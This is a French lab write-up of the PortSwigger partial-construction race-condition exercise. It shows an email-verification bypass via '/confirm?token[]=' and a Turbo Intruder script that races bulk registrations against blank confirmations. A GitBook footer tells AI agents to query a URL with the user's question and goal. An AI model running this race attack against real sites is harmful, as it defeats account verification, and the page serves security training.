> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/race-conditions/partial-construction-race-condition.md).

# Condition de concurrence de construction partielle

Notes sur la condition de concurrence de construction partielle pour les laboratoires PortSwigger Web Security Academy, incluant le flux d'exploitation, les tests de payload, la validation avec Burp Suite et le contexte de remédiation.

### Conditions de concurrence lors d'une construction partielle

#### Objectif du labo

* Le site propose un mécanisme d'inscription avec **vérification de l'e-mail**.
* Un **condition de concurrence** vous permet de **contourner la vérification** et vous inscrire avec une adresse arbitraire.
* Objectif final : **créer un compte**, vous connecter, puis **supprimer l'utilisateur `carlos`**.

#### Contexte observé (inscription)

* Message côté interface :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-24f17f5b847a9c3887fdddafdd7706595e5abebd%2F%7BA18E1907-6B04-4C77-949C-F8B12AF0A421%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Tentative de création d'un compte avec l'e-mail fourni par le labo -> réponse :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e2b86436a7ab4121fd88df8e938f084b5aeddf4%2F%7BE5DDCCA7-1BEF-42AE-8C8A-8DC3AF55C4BB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1aca0bde6c8441b02ece6dbb5b2e05899e24a135%2F%7B5D9701C9-ECBC-476D-9AD8-D38EC2CA4DAF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Tentative avec un e-mail conforme, par ex. `jordan@ginandjuice.shop` → réponse :

**« Veuillez consulter vos e-mails pour le lien d'inscription de votre compte »**.

{% code overflow="wrap" %}

```bash
csrf=HggS13aIQlQSXW9Tdhh1NmOGrSYIalTN&username=wiener&email=wiener%40exploit-0ad00064047bcce1804a250e017f00f9.exploit-server.net&password=peter
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22f658ac46758103d0577f611a5287baa76702e6%2F%7B7B94D162-1DED-46B2-B278-970DFAD645FE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec0fd237452ad5f22334c64db92ddabb494b5056%2F%7BA2F88AE9-8978-4E93-85CB-A6DF3687B997%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Analyse de l'exploitation (ressources/users.js)

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d1856389c26e7f55e995f7c5f502e9de284c013e%2F%7B61020D38-C14D-475A-9587-0A93364AA401%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Dans `users.js`, on voit :

* Le formulaire d'inscription envoie `nom d’utilisateur`, `email`, `mot de passe`.
* La confirmation par e-mail se fait via un **POST** vers :
* `POST /confirm?token=...`
* Le jeton est extrait de l'URL et injecté dans l'attribut action du formulaire de confirmation.

Conclusion : la validation dépend d'un point de terminaison **/confirm** avec un paramètre **jeton** transmis dans la chaîne de requête.

```javascript
const createRegistrationForm = () => {
    const form = document.getElementById('user-registration');

    const usernameLabel = document.createElement('label');
    usernameLabel.textContent = 'Nom d’utilisateur';
    const usernameInput = document.createElement('input');
    usernameInput.required = true;
    usernameInput.type = 'text';
    usernameInput.name = 'username';

    const emailLabel = document.createElement('label');
    emailLabel.textContent = 'E-mail';
    const emailInput = document.createElement('input');
    emailInput.required = true;
    emailInput.type = 'email';
    emailInput.name = 'email';

    const passwordLabel = document.createElement('label');
    passwordLabel.textContent = 'Mot de passe';
    const passwordInput = document.createElement('input');
    passwordInput.required = true;
    passwordInput.type = 'password';
    passwordInput.name = 'password';

    const button = document.createElement('button');
    button.className = 'button';
    button.type = 'submit';
    button.textContent = 'S'inscrire';

    form.appendChild(usernameLabel);
    form.appendChild(usernameInput);
    form.appendChild(emailLabel);
    form.appendChild(emailInput);
    form.appendChild(passwordLabel);
    form.appendChild(passwordInput);
    form.appendChild(button);
}

const confirmEmail = () => {
    const container = document.getElementsByClassName('confirmation')[0];

    const parts = window.location.href.split("?");
    const query = parts.length == 2 ? parts[1] : "";
    const action = query.includes('token') ? query : "";

    const form = document.createElement('form');
    form.method = 'POST';
    form.action = '/confirm?' + action;

    const button = document.createElement('button');
    button.className = 'button';
    button.type = 'submit';
    button.textContent = 'Confirmer';

    form.appendChild(button);
    container.appendChild(form);
}
```

#### Première tentative et blocage

* Tentative de forcer une confirmation vide :

```http
POST /confirm?token=token
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3104ad225fdf70e33c271bee4a2e9a3c48eefcaf%2F%7BC969BCB1-E99A-4D2C-B948-62599AA6EFFB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Réponse : **Interdit** → point de terminaison protégé contre un jeton vide

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0f9a2ca9447db2f6319d1f0c25c7436ff79acb7%2F%7B17D6D042-46C7-435C-9442-D9FC5D60E1ED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Contournement de la protection (interprétation alternative)

Nouvelle tentative :

```bash
/confirm?token[]=
```

* Réponse : \*\*
* Interprétation : le backend ne bloque plus en renvoyant « Forbidden », il \*\*traite la valeur\*\* (mais indique qu'il s'agit d'un tableau).

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-952d13dd119a6beff53c6080f85a0b1beeed3e3e%2F%7BAF2023A8-A80E-46D2-A9FA-CBBFEBF17CED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Observation du timing

* Le **inscription** requête est plus lente :
* /\~ **199 ms**

Le **confirmation** requête est plus rapide :

* /\~ **78 ms**

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2212f0fdc1cbafd615c64688264bf4f9b5110a0%2F%7B289847AD-FA12-4C23-A653-682E363F7785%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Idée : **bombarder** `/confirm?token[]=` pendant la fenêtre où le compte est en cours de création, afin de déclencher une confirmation au mauvais moment

### Exploitation

#### Méthode 1 — Intruder (concurrence)

1. Envoyez la `requête POST /confirm?token[]=` à Intruder.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-580b56c3d66d7366456e0eb48057e605d8ea438d%2F%7BC4110C95-5EF1-4F6E-B08E-E6C940F4DA91%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Configurez l'envoi comme des **requêtes concurrentes** (par ex. 10).

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af72280592a255780a820f78271274cca675b45e%2F%7B9DC02AFB-6CFC-4C98-8F2B-70938D7E15AB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Pendant ce spam, depuis Repeater (ou le navigateur), créez plusieurs comptes :
* `test1`, `test2`, `test3`,... `test7`

Vérifiez les réponses dans Intruder :

* L'une des réponses finit par renvoyer **200**

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-052c1726658510d231f65cfdb78d83f54f5951d3%2F%7B6E3F2E7D-5D33-45FC-89DF-9B1CDF3BD983%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Essayez de vous connecter avec les comptes de test :

* Succès observé (par ex. `test2`).

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-add0e6e230ebfb61ea89cd8bc7ecb7a137a8c582%2F%7B7EEA86E1-3FDD-4EFE-A8F5-7DA2B800B52A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Méthode 2 — Turbo Intruder (attaque Race Single Packet)

1. Sélectionnez une requête et envoyez-la à **Turbo Intruder**.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4212a4047bf210c2bf9c12f60b13616eaada2d61%2F%7B95A1879D-38AA-4B41-B114-10CD3B29CA3F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Choisissez le **race / paquet unique** attaque.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3168ca0f51b00fa627247ca14e5c8ebb9edb097f%2F%7B54164CBD-FEB5-4DF7-A0BC-A0DC3AD2C510%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Utilisez ce script :

Principe du script (tel qu'appliqué ici) :

* Fichier **plusieurs inscriptions** (`lol0..lol19` utilisateurs)
* Requête **de nombreuses confirmations** (`/confirm?token[]=`)
* Ouvrez la porte pour déclencher la condition de concurrence.

```python
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        engine=Engine.BURP2
    )

    confirmation_email = '''POST /confirm?token[]= HTTP/2
Host: 0a0700db04dacc3080b6262500af004e.web-security-academy.net
Cookie: phpsessionid=sOwKShdkHig4oxnUpwlWZ82vFl6rwdom
Content-Length: 0

'''

    gate_name = "race1"

    for i in range(20):
        username = "lol" + str(i)
        engine.queue(target.req, [username], gate=gate_name)

    for j in range(50):
        engine.queue(confirmation_email, [], gate=gate_name)

    engine.openGate(gate_name)


def handleResponse(req, interesting):
    table.add(req)
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4706c43374617ed55831e6b82d5e930744c312ae%2F%7B74D37D79-9A46-4D52-8BE7-CCBBD605E6C4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Résultat attendu

* Au moins un compte est créé **comme si l'e-mail avait été confirmé** (sans posséder le jeton).
* Vous pouvez ensuite vous connecter avec ce compte, puis utiliser les fonctionnalités du compte pour atteindre l'objectif du labo (suppression de `carlos`).

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9c8507bad44fec280f25f2f54c857fce9e66e323%2F%7BDD4E6F03-47AB-4F9D-9D1B-18FAF8A83924%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/race-conditions/partial-construction-race-condition.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
